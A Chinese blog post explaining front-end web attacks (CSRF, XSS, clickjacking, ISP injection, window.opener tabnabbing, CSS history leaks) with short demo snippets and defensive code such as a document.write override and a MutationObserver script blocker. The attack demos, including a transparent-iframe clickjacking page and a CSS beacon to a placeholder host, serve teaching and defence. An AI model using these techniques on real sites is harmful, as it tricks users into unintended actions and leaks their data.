hugh 的个人博客

Everyday is a new day

骚年,你确定没有人在折腾你的站点吗?

前端安全

前端发展至今, 从最初前端简单的页面切图到现在承担越来越重要的职责, 前端安全一直存在并且日益重要,

一个细微的安全漏洞,可能会造成用户利益的损失!由于大多前端安全的影响较小,所以前端同事不太关注, 如果造成蠕虫类攻击的损失还是很大的

下面我们就从了解-攻击-预防三步,看看前端有哪些安全隐患

 

1. CSRF- 跨站请求伪造

a. 什么是CSRF

注: csrf,就像一个小偷, 借用了你的钥匙,打开了你家的保险箱,如果没有二次防御手段, 那就gameover啦

 

b. CSRF的特征

1). 攻击者为三方的网站

2). 攻击者实际利用的是用户已经在被攻击网站保存的授权信息, 如上图中的login session

3). 用户的实际授权凭证不会被盗取, 只是被借用了

4). 攻击方式多样, 只要可以发起请求就能实施相应的攻击,如上图form表单、图片等等

 

c. CSRF攻击方式 

1). 上图中,通过form表单、img图片加载的方式发起http请求 [demo]

2). 通过ajax请求, 跨域调用可以加上withCredentials,用于带上被攻击站点的cookie

 

d. 危害

1). 篡改用户在被攻击站点的数据

2). 盗取用户隐私数据

 

e. 防御

1). 由于攻击来源于三方

可以判断请求来源refferer, 加refferer白名单

缺点: 跨过refferer的方式很多, 不能全部有效拦截

2). 加csrf-token, 这是主流的解决方案

I. 后端维护csrf token, 进入页面时获取最新token, 提交表单时验证

 

上述方法,一般用于验证form表单, 如果是ajax,可以采用以下方式

 

II. js维护一个cookie中的超短时token,接口在接受到数据时校验 【demo】

 

f. 漏洞挖掘

1). 目标表单是否带有token验证

2). 是否有验证码

3). 是否判断了referer

4). allow-access 相关参数设置是否有漏洞

5). 目标jsonp数据是否可以自定义callback

 

2. XSS 

a. 什么是XSS 

Cross-site scripting,跨站脚本攻击, 相对于csrf, 他的逼格就上升了一个档次,因为他可以盗取到用户的鉴权信息, 然后随意执行操作

 

 

 

 

b. XSS特征

1). 利用代码漏洞进行攻击

2). 一旦被攻击,就可能导致用户凭证被盗取

3). 存储型XSS会影响全站安全

 

c. xss攻击方式

1). 通过query string参数解析的漏洞, 插入非法代码 【demo】

注: 短地址来助攻

2). 通过评论、论坛等用户输入入口,输入非法代码

 

d. 危害

1). 挂载木马

2). 盗取用户cookie

3). 钓鱼攻击

4).劫持用户行为

 

e. xss防御

1). htmlEncode

2). javascriptEncode

3). cookie安全 httpOnly

 

 

3. 界面操作劫持 

a). 什么是页面操作劫持

用户界面矫正攻击(UI矫正攻击,UI矫正)是一种恶意技术,基于视觉欺骗的web会话劫持攻击

b). 特征

1). 实际攻击来源于第三方网站

2). 用户在不知情的情况下,被欺骗点击,触发了某个操作

c).攻击方式

页面操作劫持技术的基本原理, 是是在用户可见页面上 覆盖了一个不可见的框 。 一般是一个透明的iframe

1). clickjacking 【demo】

 .click-iframe{
            position: relative;

        }
        .click-iframe iframe {
            position: absolute;
            border: 0;
            top:-50px;
            left:0;
            opacity: 0; /** 将iframe 隐藏 **/
        }
<div class="click-iframe">

    <button>
        抽奖啦
    </button>

    <iframe src="http://localhost:3000/static/clickIframe.html">
    </iframe>
</div>

当点击抽奖按钮, 实际是点击的clickiframe的赞按钮

2). dragDrop Jacking(ie9以下, ff低版本浏览器)【demo】

利用页面拖拽功能, 将被攻击页面作为拖拽对象, 拖动放置在一个输入框中, 从而取到被攻击站点的网站源码

 

3). tapjacking

4). 图片覆盖攻击

a). 在评论或论坛页面, 通过插入一个图片, 设置position为absolute覆盖到页面到任意位置,伪装成网站的原有代码,从而诱使用户访问钓鱼网站

 

d). 危害

1). 诱导用户访问钓鱼网站

2). 窃取用户信息

 

e). 如何防御

1). 对于点击劫持类的, 可以通过限制iframe嵌入完成

2). 对于文本数据库的,要对css进行过滤

 

f. 漏洞发掘

1). http响应头是否设置了X-Frame-options 或者 是否有js拦截iframe嵌入(有缺陷)

2). 使用iframe嵌入验证

 

 

   

4. 运营商劫持

a. DNS劫持 & http/https劫持

http劫持是非常常见的,表现情况就是, 你的站点被挂载了其他的内容,广告或者其他恶意代码

一些小运营商或者中间商,会请求过程中对源码进行修改,加入了恶意代码, 由于突破了同源策略, 恶意代码拿到了大部分web权限

https劫持,明显难度更大, 例如我们开发常用的抓包工具charles,就可以设置https代理,从而拿到请求的明文代码

 

b. 如何防御

1). 一般情况下, 劫持的代码会通过document.write来写入其他的图片、js、css代码,我们可以通过重新document.write来限制这种情况 【demo】

var _write = document.write,
            _white_list = {
                '127.0.0.1:8081': 1,
            },

            _RE_SCRIPTS = /&lt;(script|img|iframe).*?src\=["']?([^"'\s&gt;]+)/ig,
            _RE_DOMAIN = /(.+?)\.([^\/]+).+/;

        function sendTJ() {
            console.log("被攻击啦:",arguments)
        }
        document.write = function(str) {
            try {
                var s, safes = [], unknows = [];
                console.log(_RE_SCRIPTS)
                while(s = _RE_SCRIPTS.exec(str)) {
                    console.log(s)
                    if(_white_list[(_RE_DOMAIN.exec(s) || [])[2]]) {
                        safes.push(s);
                    } else {
                        unknows.push(s);
                    }
                }
                if(unknows.length &gt; 0) {
                    sendTJ([unknows[0], safes[0] || ""].join("~_~"), location.href);
                }
                try {
                    _write.call(this, str);
                } catch(ex) {
                    _write(str);
                }
            } catch(ex) {
                sendTJ(ex.name + ":" + ex.message, location.href);
            }
        };

如果攻击不是利用这种方式, 则无法拦截

2).  利用mutationObserver对dom节点监控,如果发现非白名单的标签,进行移除 【demo】

var MutationObserver = window.MutationObserver || window.WebKitMutationObserver ||  window.MozMutationObserver;
            var whiteListForCSP = [
                'http(s)?:\/\/(.)+.xxx.com',
                'http(s)?:\/\/hm.baidu.com',
                'http(s)?:\/\/res.wx.qq.com'
            ]

            // Mutation 观察者对象能监听在某个范围内的 DOM 树变化
            if(MutationObserver) {
                var observer = new MutationObserver(function(mutations) {
                    mutations.forEach(function(mutation) {
                        // 返回被添加的节点,或者为null.
                        var nodes = mutation.addedNodes;
                        for (var i = 0; i &lt; nodes.length; i++) {
                            var node = nodes[i];
                            var tagName = node.tagName &amp;&amp; node.tagName.toLowerCase()
                            if ((tagName === "script" || tagName === "iframe" || tagName === "img" || tagName === "link") &amp;&amp; node.src &amp;&amp; (node.src.indexOf(window.location.protocol+"://"+window.location.hostname) !=0 &amp;&amp; !new RegExp("^("+whiteListForCSP.join(")|(")+")").test(node.src))) {
                                try {
                                    node.parentNode.removeChild(node);
                                    console.log('拦截非白名单文件:', node.src);
                                } catch (e) {}
                            }
                        }
                    })
                })
            }
            // 传入目标节点和观察选项
            observer.observe(document, {
                subtree: true,
                childList: true
            });

 

这种方案缺陷也很明显, 那就是同步加载的代码已经被执行了,并不能做到百分百拦截

3)CSP方案

CSP拦截可以做到很细致

  

5. a rel=noopener

原理:利用a标签打开的新窗口会带有一个window.opener对象,指向的是原窗口的window对象

该对象由于同源策略限制,无法读取和操作dom,但是window.opener.location对象却可写 

<!-- a页面 -->

<a href="http://127.0.0.1:8081/opener2.html" target="_blank">diff origin url2</a>

<!-- b 页面 -->
<script>
alert("访问opener2")
if(window.opener) {
if(window.opener.location) {
window.opener.location = "http://127.0.0.1:8081/hack.html"
} else {
alert("没有合适的opener属性")
}
} else {
alert("没有opener对象")
}

</script>

<!-- hack -->
<h3>哈哈哈, 你被攻击啦</h3>

6. css安全 

 此处没有详细测试css相关攻击方法,只对css存在过或者可能存在的攻击点做描述

a. css 容错性很强, 可以通过加{} 对css字符合法化

b. css资源加载类属性执行javascript(大部分浏览器已拦截该操作)

body {
 backgroud-image:url('javascipt:alert(1)')
}

c. ie下的expression可以执行js代码

d. 利用一些特殊属性

a:visited, css history,可以对访问过的链接,发送一个请求到特定地址 【已被浏览器修补】

#a1:visited{
background: url(http://xxx.com/css/dosave?data=a1)
}

属性选择器

input[value^="x"] {background: url(xxx)}

 

 

7. 一些安全相关的知识点

a. referer

b. 记住密码

现在的主流浏览器都提供了记住密码的功能,这个功能很强大,可以帮助我们减少记录密码的负担, 但是稍有不慎就会发现更危险的事情。

当包含密码项的表单被渲染时, 浏览器就会将明文记录的密码填充到对应的密码项, 我们可以使用dom操作的方式获取到密码的明文

注: 攻击依赖xss

 

防御方式:

1. xss防御

2. 尽量减少密码表单域或其它隐私数据表单域的自动填充

利用输入框的自动填充属性

autocomplete = off | new-password

 

c. iframe

iframe是web安全中导致问题最多的标签之一, 了解iframe及其机制,有助于我们采取合适的防御机制

 防御措施

1. x-frame-options 设置iframe嵌入规则

2. js控制iframe嵌入规则

 

d). domain

1). domain 可以设置为当前域或者父级域或者根域

 

e).integrity

包含用户代理可用于验证已提取资源是否已无意外操作的内联元数据。参见 Subresource Integrity

  

8. 内网应用就真的安全吗?

 

 

9. nsp、npm-check

包安全检测, npm的盛行给前端开发中带来了福音,同时也埋入了安全隐患, 当我们轻松引入大量工具包时,有没有关注过该插件是否有安全隐患呢

 npm-check --help

 

 

 

参考文档

https://www.npmjs.com/package/webpack-subresource-integrity 

https://blogs.msdn.microsoft.com/ie/2008/07/02/ie8-security-part-v-comprehensive-protection/

https://mathiasbynens.github.io/rel-noopener/#hax

https://infosec.mozilla.org/guidelines/web_security#Examples_5

https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/X-Content-Type-Options

 


标题:骚年,你确定没有人在折腾你的站点吗?
作者:hugh0524
地址:https://blog.uproject.cn/articles/2019/08/14/1565762611341.html